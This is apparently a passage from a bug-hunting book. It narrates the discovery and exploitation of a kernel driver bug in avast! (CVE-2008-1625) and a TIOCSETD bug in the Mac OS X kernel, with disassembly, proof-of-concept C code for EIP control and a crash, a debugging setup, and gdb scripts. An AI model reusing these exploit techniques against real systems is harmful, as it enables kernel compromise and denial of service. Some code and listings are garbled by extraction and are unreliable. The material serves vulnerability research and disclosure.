In this example, `EBX` holds a pointer to the IRP structure. At address `.text:00010CF1`, the IRP structure member at offset `0x0c` is referenced.

The output of WinDbg shows that `AssociatedIrp` is located at this offset (`IRP->AssociatedIrp`). At address `.text:00010CF4`, the input buffer of the IOCTL call is referenced and stored in `EAX` (`Irp->AssociatedIrp.SystemBuffer`). Now that I had found the supported IOCTLs, as well as the IOCTL input data, I started searching for bugs.

**Step 6: Reverse Engineer the IOCTL Handler**

To find a possible security defect, I audited the handler code of one IOCTL at a time while tracing the supplied input data. When I came across the IOCTL code `0xB2D60030`, I found a subtle bug.

If the IOCTL code `0xB2D60030` is requested by a user space application, the following code is executed:

```asm
[...
.text:0001098C     ; int __stdcall sub_1098C(int, PIRP Irp)
.text:0001098C     proc near               ; DATA XREF: DriverEntry+130
[...]
.text:00010D28     cmp     eax, 0B2D60030h ; IOCTL-Code == 0xB2D60030 ?
.text:00010D2D     jz      short loc_10DAB ; if so -> loc_10DAB
[...]
```
If the requested IOCTL code matches 0xB2D60030 (see .text:00010D28), the assembler code at address .text:00010DAB (loc_10DAB) is executed:

```assembly
.text:000109BB    mov   esi, [eax+8]       ; ULONG InputBufferLength
.text:000109BB    mov   [ebp+var_1C], esi
[text:00010DAB  loc_10DAB:  ; CODE XREF: sub_1098C+3A1
.text:00010DAB    xor   edi, edi           ; EDI = 0
.text:00010DAD    cmp   byte_1240C, 0
[text:00010DC9  loc_10DC9:  ; CODE XREF: sub_1098C+428
.text:00010DC9    mov   esi, [ebx+0Ch]     ; Irp->AssociatedIrp.SystemBuffer
.text:00010DD3    jz    short loc_10DDF    ; if so -> loc_10DDF
[text:00010DD3  loc_10DD3]:
```

At address .text:00010DAB EDI is set to 0. The EBX register holds a pointer to the IRP structure, and at address .text:00010DC9 a pointer to the input buffer data is stored in ESI (Irp->AssociatedIrp.SystemBuffer).

At the beginning of the dispatch routine, the InputBufferLength of the request is stored in the stack variable var_1c (see .text:000109BB). The length of the input data at address .text:00010DCC is then compared to the value 0x878 (see Figure 6-4).
If the data length equals 0x878, the user-controlled input data, pointed to by ESI, is further processed:

```plaintext
[...]
.text:00010DDF  loc_10DDF:                      ; CODE XREF: sub_1098C+447
.text:00010DDF  mov   [ebp+var_4], edi
.text:00010DE2  cmp   [esi], edi               ; ESI == input data
.text:00010DE4  jz    short loc_10E34       ; if input data == NULL -> loc_10E34
[...]
.text:00010DE6  mov   eax, [esi+870h] ; ESI and EAX are pointing to the input data
.text:00010DEC  mov   [ebp+var_48], eax ; a pointer to user controlled data is stored in var_48
.text:00010DEF  cmp   dword ptr [eax], 0D0DEAD07h  ; validation of input data
[...]
.text:00010DF7  cmp   dword ptr [eax+4], 10BAD0BAh ; validation of input data
[text:00010DFE
[...]
```

The code at address .text:00010DE2 checks whether the input data equals NULL. If the input data is not NULL, a pointer from this data is extracted at [user_data+0x870] and stored in EAX (see .text:00010DE6). This pointer value is stored in the stack variable var_48 (see .text:00010DEC). A check is then performed to see if the data, pointed to by EAX, starts with the values 0xD0DEAD07 and 0x10BAD0BA (see .text:00010DEF and .text:00010DF7). If so, the parsing of the input data continues:

```plaintext
[...]
.text:00010E06  loc_10E06:                      ; CODE XREF: sub_1098C+472
.text:00010E06  xor   edx, edx
.text:00010E08  mov   eax, [ebp+var_48]
.text:00010E0B  mov   [eax], edx
.text:00010E0D  mov   [eax+4], edx
.text:00010E10  add   esi, 4             ; source address
.text:00010E13  mov   ecx, 21Ah          ; length
.text:00010E18  mov   edi, [eax+18h]   ; destination address
.text:00010E1B  rep movsd              ; memcpy()  
[...]
```

The rep movsd instruction at address .text:00010E1B represents a memcpy() function. So ESI holds the source address, EDI holds the destination address, and ECX holds the length for the copy operation. ECX gets assigned the value 0x21a (see .text:00010E13). ESI points to the user-controlled IOCTL data (see .text:00010E10), and EDI is also derived from user-controlled data pointed to by EAX (see .text:00010E18 and Figure 6-5).
Here’s some pseudo C code of that `memcpy()` call:

```c
memcpy ([EAX+0x18], ESI + 4, 0x21a * 4);
```

Or, in more abstract terms:

```c
memcpy (user_controlled_address, user_controlled_data, 0x868);
```

It is therefore possible to write 0x868 bytes (0x21a * 4 bytes, as the `rep movsd` instruction copies DWORDs from one location to another) of user-controllable data to an arbitrary user-controlled address in either user or kernel space. Nice!

The anatomy of the bug, diagrammed in Figure 6-6, is as follows:

1. An IOCTL request (0xB2D60030) is sent to the kernel driver `Aavmker4.sys` using the `AavmKer4` device.
2. The driver code checks whether the IOCTL input data length equals the value 0x878. If so, proceed to step 3.
3. The driver checks whether the user-controlled IOCTL input data contains the values 0xD0DEAD07 and 0x10BAD0BA. If so, proceed to step 4.

4. The erroneous `memcpy()` call is executed.

5. The memory is corrupted.

### 6.2 Exploitation

To gain control of EIP, I first had to find a suitable target address to overwrite. While searching through the IOCTL dispatch routine, I found two places where a function pointer is called:

```c
[...
.text:00010D8F        push    2               ;  _DWORD
.text:00010D91        push    1               ;  _DWORD
.text:00010D93        push    1               ;  _DWORD
.text:00010D95        push    dword ptr [eax] ;  _DWORD
.text:00010D97        call    KeGetCurrentThread
.text:00010D9C        push    eax             ;  _DWORD
.text:00010D9D        call    dword_12460     ;  the function pointer is called
.text:00010DA3        mov     [ebx+18h], eax
.text:00010DA6        jmp     loc_10F04
[...]
.text:00010DB6        push    2               ;  _DWORD
.text:00010DB8        push    1               ;  _DWORD
```
The function pointer declared at .data:00012460 is called at .text:00010D9D and .text:00010DC3 in the dispatch routine. To gain control over EIP, all I had to do was overwrite this function pointer and then wait for it to be called. I wrote the following POC code to manipulate the function pointer:

```c
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <psapi.h>

#define IOCTL 0x12460 // vulnerable IOCTL
#define INPUTBUFFER_SIZE 0x878 // input data length

__inline void memset32 (void* dest, unsigned int fill, unsigned int count) {
    if (count > 0) {
        _asm {
            mov eax, fill // pattern
            mov ecx, count // count
            mov edi, dest // dest
            rep stosd;
        }
    }
}

unsigned int GetDriverLoadAddress (char *drivername) {
    LPVOID drivers[1024];
    DWORD cbNeeded = 0;
    int cDrivers = 0;
    int i = 0;
    const char * ptr = NULL;
    unsigned int addr = 0;

    if (EnumDeviceDrivers (drivers, sizeof (drivers), &cbNeeded) && cbNeeded < sizeof (drivers)) {
        char szDriver[1024];
        cDrivers = cbNeeded / sizeof (drivers[0]);
        for (i = 0; i < cDrivers; i++) {
            if (GetDeviceDriverBaseName (drivers[i], szDriver, sizeof (szDriver) / sizeof (szDriver[0]))) {
```

[...]
```
if (!strncmp (szDriver, drivername, 8)) {
    printf ("%s (%08x)\n", szDriver, drivers[i]);
    return (unsigned int)(drivers[i]);
}

fprintf (stderr, "ERROR: cannot get address of driver %s\n", drivername);
return 0;
}

int main (void)
{
    HANDLE hDevice;
    char * InputBuffer = NULL;
    BOOL retval = TRUE;
    unsigned int driveraddr = 0;
    unsigned int pattern1 = 0xD0DEAD07;
    unsigned int pattern2 = 0x10BAD0BA;
    unsigned int addr_to_overwrite = 0;  // address to overwrite
    char data[2048];

    // get the base address of the driver
    if (!(driveraddr = GetDriverLoadAddress ("Aavmker4"))) {
        return 1;
    }

    // address of the function pointer at .data:00012460 that gets overwritten
    addr_to_overwrite = driveraddr + 0x2460;

    // allocate InputBuffer
    InputBuffer = (char *)VirtualAlloc ((LPVOID)0,
       INPUTBUFFER_SIZE,
       MEM_COMMIT | MEM_RESERVE,
       PAGE_EXECUTE_READWRITE);

    /////////////////////////////////////////////////////////////////////////////
    // InputBuffer data:
    // .text:00010DC9  mov esi, [ebx+0Ch]  ; ESI == InputBuffer
    memset (InputBuffer, 0x41, INPUTBUFFER_SIZE);  // fill InputBuffer with As
    // .text:00010DE6  mov eax, [esi+870h] ; EAX == pointer to "data"
    memset32 (InputBuffer + 0x870, (unsigned int)&data, 1);
    /////////////////////////////////////////////////////////////////////////////
    // data:

    // As the "data" buffer is used as a parameter for a "KeSetEvent" windows kernel
    // function, it needs to contain some valid pointers (.text:00010E2C call ds:KeSetEvent)
    memset32 (data, (unsigned int)&data, sizeof (data) / sizeof (unsigned int));
In line 67 of Listing 6-2, the base address of the driver in memory is stored in `driveraddr`. Then, in line 72, the address of the function pointer is calculated; this is overwritten by the manipulated `memcpy()` call. A buffer of `INPUTBUFFER_SIZE` (0x878) bytes is allocated in line 75. This buffer holds the IOCTL input data, which is filled with the hexadecimal value 0x41 (see line 86). Then a pointer to another data array is copied into the input data buffer (see line 89). In the disassembly of the driver, this pointer is referenced at address `.text:00010DE6: mov eax, [esi+870h]`. 
Directly after the call of the `memcpy()` function, the kernel function `KeSetEvent()` is called:

```
.text:00010E10     add     esi, 4          ; source address
.text:00010E13     mov     ecx, 21Ah       ; length
.text:00010E18     mov     edi, [eax+18h]  ; destination address
.text:00010E1B     rep movsd               ; memcpy()
.text:00010E1D     dec     PendingCount2
.text:00010E23     inc     dword ptr [eax+20h]
.text:00010E26     push    edx             ; Wait
.text:00010E27     push    edx             ; Increment
.text:00010E28     add     eax, 8
.text:00010E2B     push    eax             ; Parameter of KeSetEvent
.(text:00010E2B     .text:00010E2B
.text:00010E2C     call    ds:KeSetEvent   ; KeSetEvent is called
.text:00010E2C     xor     edi, edi
```

Since the user-derived data pointed to by `EAX` is used as a parameter for this function (see .text:00010E2B), the data buffer needs to be filled with valid pointers in order to prevent an access violation. I filled the whole buffer with its own valid user space address (see line 97). Then in lines 100 and 103, the two expected patterns are copied into the data buffer (see .text:00010DEF and .text:00010DF7), and in line 106, the destination address for the `memcpy()` function is copied into the data buffer (.text:00010E18 mov edi, [eax+18h]). The device of the driver is then opened for reading and writing (see line 110), and the malicious IOCTL request is sent to the vulnerable kernel driver (see line 122).

After I developed that POC code, I started the Windows XP VMware guest system and attached WinDbg to the kernel (see Section B.2 for a description of the following debugger commands):

```
kd> .sympath SRV*c:\WinDBGSymbols*http://msdl.microsoft.com/download/symbols
kd> .reload
[..]
kd> g
Break instruction exception - code 80000003 (first chance)
******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run kd.exe) or,                                        *
*       CTRL+BREAK (if you run WinDBG),                                       *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
*   press the "Enter" key now. This message might immediately reappear. If it *
* does, press "g" and "Enter" again.                                          *
******************************************************************************
```
I then compiled the POC code with the command-line C compiler of Visual Studio (cl) and executed it as an unprivileged user inside the VMware guest system:

C:\BHD\avast> cl /nologo poc.c psapi.lib
C:\BHD\avast> poc.exe

After I executed the POC code, nothing happened. So how could I find out if the function pointer was successfully manipulated? Well, all I had to do was trigger the antivirus engine by opening an arbitrary executable. I opened Internet Explorer and got the following message in the debugger:

Yes! The instruction pointer appeared to be under my full control. To verify this, I asked the debugger for more information:

The exploitation process, illustrated in Figure 6-7, was as follows:

1. Is the length of the input data 0x878? If so, proceed to step 2.
2. The user space buffer data gets referenced.
3. Are the expected patterns found at data[0] and data[4]? If so, proceed to step 4.
Figure 6-7: Diagram of my exploitation of the avast! vulnerability

4. The destination address for the memcpy() call gets referenced.
5. The memcpy() function copies the IOCTL input data into the .data area of the kernel.
6. The manipulated function pointer gives full control over EIP.

If the POC code is executed without a kernel debugger attached, the famed Blue Screen of Death (BSoD) will appear (see Figure 6-8).

Figure 6-8: The Blue Screen of Death (BSoD)
After I gained control over EIP, I developed two exploits. One of them grants SYSTEM rights to any requesting user (privilege escalation), and the other installs a rootkit into the kernel using the well-known Direct Kernel Object Manipulation (DKOM) technique.\textsuperscript{16}

Strict laws prohibit me from providing a full, working exploit, but if you’re interested, you can watch a video of the exploit in action at the book’s website.\textsuperscript{17}

6.3 Vulnerability Remediation

\textit{Saturday, March 29, 2008}

I informed ALWIL Software about the bug on March 18, 2008, and it released an updated version of avast! today. Wow, that was really fast for a commercial software vendor!

6.4 Lessons Learned

As a programmer and kernel-driver developer:

- Define strict security settings for exported device objects. Do not allow unprivileged users to read from or write to these devices.
- Always take care to validate input data correctly.
- Destination addresses for memory-copy operations shouldn’t be extracted from user-supplied data.

6.5 Addendum

\textit{Sunday, March 30, 2008}

Since the vulnerability was fixed and a new version of avast! is now available, I released a detailed security advisory on my website today.\textsuperscript{18} The bug was assigned CVE-2008-1625. Figure 6-9 shows the timeline of the vulnerability fix.

\textbf{Figure 6-9:} Timeline from vendor notification to the release of my security advisory
Notes

6. You can find a download link for a vulnerable trial version of avast! Professional 4.7 at http://www.trapkit.de/books/bhd/.
7. See http://www.nirsoft.net/utils/driverview.html.
17. See http://www.trapkit.de/books/bhd/.
18. My security advisory that describes the details of the avast! vulnerability can be found at http://www.trapkit.de/advisories/TKADV2008-002.txt.
Saturday, March 3, 2007
Dear Diary,

Last week my Apple MacBook finally arrived. After getting acquainted with the Mac OS X platform, I decided to take a closer look at the XNU kernel of OS X. After a few hours of digging through the kernel code, I found a nice bug that occurs when the kernel tries to handle a special TTY IOCTL. The bug was easy to trigger, and I wrote a POC code that allows an unprivileged local user to crash the system via kernel panic. As usual, I then tried to develop an exploit to see if the bug allows arbitrary code execution. At this point, things got a bit more complicated. To develop the exploit code, I needed a way to debug the OS X kernel. That’s not a problem if you own two Macs, but I only had one: my brand-new MacBook.


7.1 Vulnerability Discovery

First I downloaded the latest source code release of the XNU kernel, and then I searched for a vulnerability in the following way:

- Step 1: List the IOCTLs of the kernel.
- Step 2: Identify the input data.
- Step 3: Trace the input data.

These steps will be detailed in the following sections.

**Step 1: List the IOCTLs of the Kernel**

To generate a list of the IOCTLs of the kernel, I simply searched the kernel source code for the usual IOCTL macros. Every IOCTL is assigned its own number, which is usually created by a macro. Depending on the IOCTL type, the XNU kernel of OS X defines the following macros: _IOR, _IOW, and _IOWR.

```
$ pwd
/Users/tk/xnu-792.13.8

$ grep -rnw -e _IOR -e _IOW -e _IOWR *

xnu-792.13.8/bsd/net/bpf.h:161:#define BIOCGRSIG _IOR('B',114, u_int)
```

I now had a list of IOCTLs supported by the XNU kernel. To find the source files that implement the IOCTLs, I searched the whole kernel source for each IOCTL name from the list. Here’s an example of the BIOCGRSIG IOCTL:

```
$ grep --include=*.c -rn BIOCGRSIG *

xnu-792.13.8/bsd/net/bpf.c:1143:        case BIOCGRSIG:
```

**Step 2: Identify the Input Data**

To identify the user-supplied input data of an IOCTL request, I took a look at some of the kernel functions that process the requests. I discovered that such functions typically expect an argument called cmd of type u_long and a second argument called data of type caddr_t.

$I used an Intel Mac with OS X 10.4.8 and kernel version xnu-792.15.4.0 obj-4/RELEASE.I386 as a platform throughout this chapter.
Here are some examples:

**Source code file**  
`xnu-792.13.8/bsd/netat/at.c`

```c
int at_control(so, cmd, data, ifp) {
    struct socket *so;
    u_long cmd;
    caddr_t data;
    struct ifnet *ifp;
    ...}
```

**Source code file**  
`xnu-792.13.8/bsd/net/if.c`

```c
int ifioctl(so, cmd, data, p) {
    struct socket *so;
    u_long cmd;
    caddr_t data;
    struct proc *p;
    ...}
```

**Source code file**  
`xnu-792.13.8/bsd/dev/vn/vn.c`

```c
static int vnioctl(dev_t dev, u_long cmd, caddr_t data, __unused int flag, struct proc *p, int is_char) {
    ...}
```

The names of these function arguments are quite descriptive: The `cmd` argument holds the requested IOCTL code, and the `data` argument holds the user-supplied IOCTL data.

On Mac OS X, an IOCTL request is typically sent to the kernel using the `ioctl()` system call. This system call has the following prototype:

```
#include <sys/ioctl.h>

int ioctl(int d, unsigned long request, char *argp);
```
DESCRIPTION

The `ioctl()` function manipulates the underlying device parameters of special files. In particular, many operating characteristics of character special files (e.g. terminals) may be controlled with `ioctl()` requests. The argument `d` must be an open file descriptor.

An `ioctl` request has encoded in it whether the argument is an "in" parameter or "out" parameter, and the size of the argument `argp` in bytes. Macros and defines used in specifying an `ioctl` request are located in the file `<sys/ioctl.h>`.

If an IOCTL request is sent to the kernel, the argument `request` has to be filled with the appropriate IOCTL code, and `argp` has to be filled with the user-supplied IOCTL input data. The `request` and `argp` arguments of `ioctl()` correspond to the kernel function arguments `cmd` and `data`.

I had found what I was looking for: Most kernel functions that process incoming IOCTL requests take an argument called `data` that holds, or points to, the user-supplied IOCTL input data.

**Step 3: Trace the Input Data**

After I found the locations in the kernel where IOCTL requests are handled, I traced the input data through the kernel functions while looking for potentially vulnerable locations. While reading the code, I stumbled upon some locations that looked intriguing. The most interesting potential bug I found happens if the kernel tries to handle a special TTY IOCTL request. The following listing shows the relevant lines from the source code of the XNU kernel.

**Source code file**  `xnu-792.13.8/bsd/kern/tty.c`

```c
/* ARGSUSED */
int
ttioctl(register struct tty *tp, 
u_long cmd, caddr_t data, int flag, 
struct proc *p)
{
    switch (cmd) { /* Process the ioctl. */
        case TIOCSETD: { /* set line discipline */
            register int t = *(int *)data;
            dev_t device = tp->t_dev;
            if (t >= nlinesw)
```
If a `TIOCSETD` IOCTL request is sent to the kernel, the switch case in line 1089 is chosen. In line 1090, the user-supplied data of type `caddr_t`, which is simply a typedef for `char *`, is stored in the signed int variable `t`. Then in line 1093, the value of `t` is compared with `nlinesw`. Since data is supplied by the user, it's possible to provide a string value that corresponds to the unsigned integer value of `0x80000000` or greater. If this is done, `t` will have a negative value due to the type conversion in line 1090. Listing 7-1 illustrates how `t` can become negative:

```c
01 typedef char * caddr_t;
02
03 // output the bit pattern
04 void
05 bitpattern (int a)
06 {
07    int m = 0;
08    int b = 0;
09    int cnt = 0;
10    int nbits = 0;
11    unsigned int mask = 0;
12
13    nbits = 8 * sizeof (int);
14    m = 0x1 << (nbits - 1);
15
16    mask = m;
17    for (cnt = 1; cnt <= nbits; cnt++) {
18        b = (a & mask) ? 1 : 0;
19        printf ("%x", b);
20        if (cnt % 4 == 0)
21            printf (" ");
22        mask >>= 1;
23    }
24    printf ("\n");
25 }
26
27 int
28 main ()
29 {
```
caddr_t data = "\xff\xff\xff\xff";
int t = 0;

t = *(int *)data;

printf ("Bit pattern of t: ");
bitpattern (t);

printf ("t = %d (0x%08x)\n", t, t);

return 0;
}

Listing 7-1: Example program that demonstrates the type conversion behavior (conversion_bug_example.c)

Lines 30, 31, and 33 are nearly identical to lines in the OS X kernel source code. In this example, I chose the hardcoded value 0xffffffff as IOCTL input data (see line 30). After the type conversion in line 33, the bit patterns, as well as the decimal value of t, are printed to the console. The example program results in the following output when it’s executed:

    osx$ gcc -o conversion_bug_example conversion_bug_example.c
    osx$ ./conversion_bug_example
    Bit pattern of t: 1111 1111 1111 1111 1111 1111 1111 1111
    t = -1 (0xffffffff)

The output shows that t gets the value –1 if a character string consisting of 4 0xff byte values is converted into a signed int. See Section A.3 for more information on type conversions and the associated security problems.

If t is negative, the check in line 1093 of the kernel code will return FALSE because the signed int variable nlinesw has a value greater than zero. If that happens, the user-supplied value of t gets further processing. In line 1098, the value of t is used as an index into an array of function pointers. Since I could control the index into that array, I could specify an arbitrary memory location that would be executed by the kernel. This leads to full control of the kernel execution flow. Thank you, Apple, for the terrific bug. ☺

Here is the anatomy of the bug, as diagrammed in Figure 7-1:

1. The function pointer array linesw[] gets referenced.
2. The user-controlled value of t is used as an array index for linesw[].
3. A pointer to the assumed address of the l_open() function gets referenced based on the user-controllable memory location.
4. The assumed address of `l_open()` gets referenced and called.
5. The value at the assumed address of `l_open()` gets copied into the instruction pointer (EIP register).

Because the value of $t$ is supplied by the user (see (2)), it is possible to control the address of the value that gets copied into EIP.

### 7.2 Exploitation

After I found the bug, I did the following to gain control over EIP:

- Step 1: Trigger the bug to crash the system (denial of service).
- Step 2: Prepare a kernel-debugging environment.
- Step 3: Connect the debugger to the target system.
- Step 4: Get control over EIP.

**Step 1: Trigger the Bug to Crash the System (Denial of Service)**

Once I had found the bug, it was easy to trigger it and cause a system crash. All I had to do was send a malformed `TIOCSETD` IOCTL request to the kernel. Listing 7-2 shows the source code of the POC I developed to cause a crash.
```c
#include <sys/ioctl.h>

int main (void)
{
    unsigned long ldisc = 0xff000000;
    ioctl (0, TIOCSETD, &ldisc);
    return 0;
}
```

Listing 7-2: POC code (poc.c) I wrote to trigger the bug I found in the kernel of OS X

A brand-new MacBook: $1,149. An LED Cinema Display Monitor: $899. Crashing a Mac OS X system with only 11 lines of code: priceless.

I then compiled and tested the POC code as an unprivileged user:

```
# osx$ uname -a
root:xnu-792.15.4.0~0/RELEASE_I386 i386 i386

# osx$ id
uid=502(seraph) gid=502(seraph) groups=502(seraph)

# osx$ gcc -o poc poc.c

# osx$ ./poc
```

Immediately after executing the POC code, I got the standard crash screen of Mac OS X, as shown in Figure 7-2.

![Kernel Panic Message](image)

**Figure 7-2:** Mac OS X kernel panic message

If such a kernel panic occurs, the details of the crash are added to a log file in the folder `/Library/Logs/`. I rebooted the system and opened that file.
It appeared that I could crash the system as an unprivileged user. Could I also execute arbitrary code in the privileged context of the OS X kernel? To answer that question, I had to peer inside the inner workings of the kernel.

**Step 2: Prepare a Kernel-Debugging Environment**

At this point I needed to be able to debug the kernel. As I mentioned earlier, this is no problem if you own two Macs, but I had only one MacBook at hand. Therefore, I had to find another way to debug the kernel. I solved the problem by building and installing Apple’s GNU debugger on a Linux host and then connecting the host to my MacBook. Instructions for building such a debugger host system are described in Section B.5.

**Step 3: Connect the Debugger to the Target System**

After I had built Apple’s gdb on a Linux host, I linked the systems with an Ethernet crossover cable, as shown in Figure 7-3.
I then started the Mac OS X target system, enabled remote kernel debugging, and rebooted the system so that the changes could take effect:

```bash
osx$ sudo nvram boot-args="debug=0x14e"
osx$ sudo reboot
```

After the Mac OS X target machine had restarted, I booted the Linux host and made sure that I could connect to the target machine:

```bash
linux$ ping -c1 10.0.0.2
PING 10.0.0.2 (10.0.0.2) from 10.0.0.3 : 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=1.08 ms
--- 10.0.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% loss, time 0ms
rtt min/avg/max/mdev = 1.082/1.082/1.082/0.000 ms
```

I added a permanent ARP entry for the target on the Linux system to establish a robust connection between the two machines, ensuring that the connection wouldn’t be dropped while the kernel of the target machine was being debugged:

```bash
linux$ su -
Password:
linux# arp -an
? (10.0.0.1) at 00:24:E8:A8:64:DA [ether] on eth0
? (10.0.0.2) at 00:17:F2:F0:47:19 [ether] on eth0

linux# arp -s 10.0.0.2 00:17:F2:F0:47:19

linux# arp -an
? (10.0.0.1) at 00:24:E8:A8:64:DA [ether] on eth0
? (10.0.0.2) at 00:17:F2:F0:47:19 [ether] PERM on eth0
```

I then logged in to the Mac OS X system as an unprivileged user and generated a nonmaskable interrupt (NMI) by tapping the system’s power button. That gave me the following output on the screen of the MacBook:

```
Debugger called: <Button SCI>
Debugger called: <Button SCI>
cpu_interrupt: sending enter debugger signal (00000002) to cpu 1
ethernet MAC address: 00:17:f2:f0:47:19
ethernet MAC address: 00:17:f2:f0:47:19
ip address: 10.0.0.2
ip address: 10.0.0.2
Waiting for remote debugger connection.
```
Back on the Linux host, I started the kernel debugger (see Section B.5 for more information on how to build this gdb version):

```bash
linux# gdb_osx KernelDebugKit_10.4.8/mach_kernel
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "--host= --target=i386-apple-darwin".
```

I then instructed the debugger to use Apple’s kernel debug protocol (kdp):

```
(gdb) target remote-kdp
```

Once the debugger was running, I attached to the kernel of the target system for the first time:

```
(gdb) attach 10.0.0.2
Connected.
0x001a8733 in lapic_dump () at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/mp.c:332
332             int     i;
```

As the debugger output shows, it seemed to work! The OS X system was frozen at that time, so I continued the execution of the kernel with the following debugger command:

```
(gdb) continue
Continuing.
```

Now everything was set up for remotely debugging the kernel of the Mac OS X target system.

**Step 4: Get Control over EIP**

After I had successfully connected the debugger to the kernel of the target system, I opened a terminal on the Mac OS X machine and again executed the POC code described in Listing 7-2:

```
osx$ id
uid=502(seraph) gid=502(seraph) groups=502(seraph)
osx$ ./poc
```
The OS X system froze immediately, and I got the following debugger output on the Linux host:

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0035574c in ttsetcompat (tp=0x37e0804, com=0x8004741b, data=0x2522beb8 "", →
term=0x3) at /SourceCache/xnu/xnu-792.13.8/bsd/kern/tty_compat.c:145
145 */

To see what exactly caused the SIGTRAP signal, I looked at the last executed kernel instruction (see Section B.4 for a description of the following debugger commands):

(gdb) x/i $eip
0x35574c <ttsetcompat+138>: call *0x456860(%eax)

Apparently, the crash occurred when the kernel tried to call an address referenced by the EAX register. Next, I looked at the register values:

(gdb) info registers
eax 0xe0000000 -536870912
dx 0x4000001 67108865
dx 0x386c380 59163520
edx 0xff000000 -16777216
ebp 0x2522bd18 0x2522bd18
esi 0x37e0804 58591236
eip 0x0 0
edi 0x0 0
ebp 0x2522bc18 0x2522bc18
esi 0x37e0804 58591236
edi 0x0 0
eip 0x35574c 0x35574c
eflags 0x10287 66183
cs 0x8 8
ss 0x10 16
dx 0x4b0010 4915216
es 0x340010 3407888
fs 0x25220010 622985232
gs 0x48 72

The debugger output shows that EAX had a value of 0xe0000000. It wasn’t apparent to me where this value came from, so I disassembled the instructions around EIP:

(gdb) x/6i $eip - 15
0x35573d <ttsetcompat+123>: mov %ebx,%eax
0x35573f <ttsetcompat+125>: shl $0x5,%eax
0x355742 <ttsetcompat+128>: mov %esi,0x4(%esp,1)
0x355746 <ttsetcompat+132>: mov 0xffffffffa(%ebp),%ecx
0x355749 <ttsetcompat+135>: mov %ecx,(%esp,1)
0x35574c <ttsetcompat+138>: call *0x456860(%eax)

At address 0x35573d, the value of EBX is copied into EAX. The next instruction modifies this value by a left shift of 5 bits. At address
0x35574c, the value is used to calculate the operand of the call instruction. So where did the value of EBX come from? A quick look at the register values revealed that EBX was holding the value 0xff000000, the value I had supplied as input data for the TIOCSETD IOCTL. The value 0xe0000000 was the result of a left shift of my supplied input value by 5 bits. As expected, I was able to control the memory location used to find the new value for the EIP register. The modification of my supplied input data can be expressed as

\[
\text{address of the new value for EIP} = (\text{IOCTL input data value} \ll 5) + 0x456860
\]

I could get an appropriate TIOCSETD input data value for a specific memory address in either of two ways: I could try to solve the mathematical problem, or I could brute force the value. I decided to go with the easy option and wrote the following program to brute force the value:

```c
#include <stdio.h>

#define MEMLOC 0x10203040
#define SEARCH_START 0x80000000
#define SEARCH_END 0xffffffff

int main (void)
{
    unsigned int a, b = 0;
    for (a = SEARCH_START; a < SEARCH_END; a++) {
        b = (a << 5) + 0x456860;
        if (b == MEMLOC) {
            printf ("Value: %08x\n", a);
            return 0;
        }
    }
    printf ("No valid value found.\n");
    return 1;
}
```

Listing 7-3: Code that I wrote to brute force the TIOCSETD input data value (addr_brute_force.c)

I wrote this program to answer this question: What TIOCSETD input data do I have to send to the kernel in order to get the value at memory address 0x10203040 copied into the EIP register?

```
osx$ gcc -o addr_brute_force addr_brute_force.c
osx$ ./addr_brute_force
Value: 807ed63f
```
If `0x10203040` pointed to the value I wanted copied into EIP, I had to supply the value `0x807ed63f` as an input for the `TIOCSETD IOCTL`.

I then tried to manipulate EIP to make it point to address `0x65656565`. To achieve this, I had to find a memory location in the kernel that pointed to that value. To find suitable memory locations in the kernel, I wrote the following gdb script:

```gdb
c0a set $MAX_ADDR = 0x00600000
c0b

c0c define my_ascii
c0d if $argc != 1
c0e   printf "ERROR: my_ascii"
c0f else

c0g   set $tmp = *(unsigned char *)(arg0)
c0h   if ($tmp < 0x20 || $tmp > 0x7E)
c0i     printf "."
c0j   else

c0k     printf "%c", $tmp
cl0 end

c0l end

c0m

c0n define my_hex
c0o if $argc != 1


c0p   printf "ERROR: my_hex"
c0q else

c0r   printf "%02X%02X%02X%02X ", \n
c0s   *(unsigned char*)(arg0 + 3), *(unsigned char*)(arg0 + 2), \n
c0t   *(unsigned char*)(arg0 + 1), *(unsigned char*)(arg0 + 0)
c0u end

c0v end

c0w define hexdump
c0x if $argc != 2


c0y   printf "ERROR: hexdump"
c0z else

c0a   if (((*(unsigned char*)(arg0 + 0) == (unsigned char)(arg1 >>  0)))
c0b     if (((*(unsigned char*)(arg0 + 1) == (unsigned char)(arg1 >>  8)))
c0c       if (((*(unsigned char*)(arg0 + 2) == (unsigned char)(arg1 >> 16)))
c0d         if (((*(unsigned char*)(arg0 + 3) == (unsigned char)(arg1 >> 24)))
c0e           printf "%08X : ", $arg0

c0f     my_hex $arg0

c0g     my_ascii $arg0+0x3

c0h     my_ascii $arg0+0x2

c0i     my_ascii $arg0+0x1

c0j     my_ascii $arg0+0x0

c0k   printf "\n"

c0l end

c0m end

c0n end

c0o end

c0p end
```

126Chapter 7
```
define search_memloc
set $max_addr = $MAX_ADDR
set $counter = 0
if $argc != 2
    help search_memloc
else
    while (($arg0 + $counter) <= $max_addr)
        set $addr = $arg0 + $counter
        hexdump $addr $arg1
        set $counter = $counter + 0x20
    end
end
document search_memloc
Search a kernel memory location that points to PATTERN.
Usage: search_memloc ADDRESS PATTERN
ADDRESS - address to start the search
PATTERN - pattern to search for
end
```

**Listing 7-4:** A script for finding memory locations in the kernel that point to a special byte pattern
(search_memloc.gdb)

The gdb script from Listing 7-4 takes two arguments: the address from where to start the search and the pattern to search for. I wanted to find a memory location that pointed to the value 0x65656565, so I used the script in the following way:

```
(gdb) source search_memloc.gdb
(gdb) search_memloc 0x400000 0x65656565
0041BDA0 : 65656565 eeee
0041BDC0 : 65656565 eeee
0041BDE0 : 65656565 eeee
0041BE00 : 65656565 eeee
0041BE20 : 65656565 eeee
0041BE40 : 65656565 eeee
0041BE60 : 65656565 eeee
0041BE80 : 65656565 eeee
0041BEA0 : 65656565 eeee
0041BEC0 : 65656565 eeee
